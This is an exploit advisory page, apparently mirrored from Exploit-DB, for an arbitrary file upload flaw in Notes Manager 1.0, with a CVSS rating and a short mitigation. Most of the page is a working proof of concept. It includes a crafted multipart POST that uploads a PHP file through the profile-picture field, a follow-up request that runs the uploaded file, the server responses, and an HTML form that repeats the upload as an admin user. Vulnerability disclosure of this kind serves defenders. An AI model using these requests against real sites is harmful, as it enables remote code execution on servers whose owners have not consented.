Notes Manager 1.0 - Arbitrary File Upload

vendor:

Notes Management

by:

Ihsan Sencan

7.5

CVSS

HIGH

Arbitrary File Upload

434

CWE

Product Name: Notes Management

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:webprojectbuilder:notes_management:1.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2018

Notes Manager 1.0 – Arbitrary File Upload

Notes Manager 1.0 is vulnerable to an arbitrary file upload vulnerability. An attacker can upload a malicious file to the web server by sending a specially crafted HTTP request. This can be exploited to execute arbitrary code on the web server.

Mitigation:

The application should validate the file type before uploading it to the server. The application should also restrict the file types that can be uploaded to the server.

Source

Exploit-DB raw data:

# Exploit Title: Notes Manager 1.0 - Arbitrary File Upload
# Dork: N/A
# Date: 2018-10-30
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.webprojectbuilder.com/item/notes-management
# Software Link: https://astuteinternet.dl.sourceforge.net/project/notes-manager/notes_management.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/user/add_edit
# 
# http://localhost/[PATH]/assets/images/[FILE]
# 
POST /[PATH]/user/add_edit HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=upb6pa4qn0h16clnht4ugvhee1; ci_session=453324a77afd51a1fd2618b57d3dfd6c880da056
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------95839047417419306891039500038
Content-Length: 737
-----------------------------95839047417419306891039500038
Content-Disposition: form-data; name="profile_pic"; filename="phpinfo.php"
Content-Type: application/force-download
<?php
phpinfo();
?>
-----------------------------95839047417419306891039500038
Content-Disposition: form-data; name="fileOld"
g_1540845821.php
-----------------------------95839047417419306891039500038
Content-Disposition: form-data; name="users_id"
1
-----------------------------95839047417419306891039500038
Content-Disposition: form-data; name="user_type"
admin
-----------------------------95839047417419306891039500038
Content-Disposition: form-data; name="submit1"
-----------------------------95839047417419306891039500038--
HTTP/1.1 200 OK
Date: Mon, 29 Oct 2018 21:10:19 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ci_session=00cf0a180900e0b110b84343140d8f1c77a68493; expires=Mon, 29-Oct-2018 23:10:19 GMT; Max-Age=7200; path=/; HttpOnly
refresh: 0;url=http://localhost/[PATH]/user/login
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET /[PATH]/assets/images/phpinfo_1540847419.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=upb6pa4qn0h16clnht4ugvhee1; ci_session=00cf0a180900e0b110b84343140d8f1c77a68493
Connection: keep-alive
HTTP/1.1 200 OK
Date: Mon, 29 Oct 2018 21:10:42 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/user/add_edit
# 
<html>
<body>
<form method="post" enctype="multipart/form-data" action="http://localhost/[PATH]/user/add_edit">
<input id="fileUpload" name="profile_pic" type="file"><br>
<input name="fileOld" value="" type="hidden">
<input name="users_id" value="1" type="hidden">
<input name="user_type" value="admin" type="hidden">
<button name="submit1" type="submit" ">Ver Ayari</button>  
</form>
</body>
</html>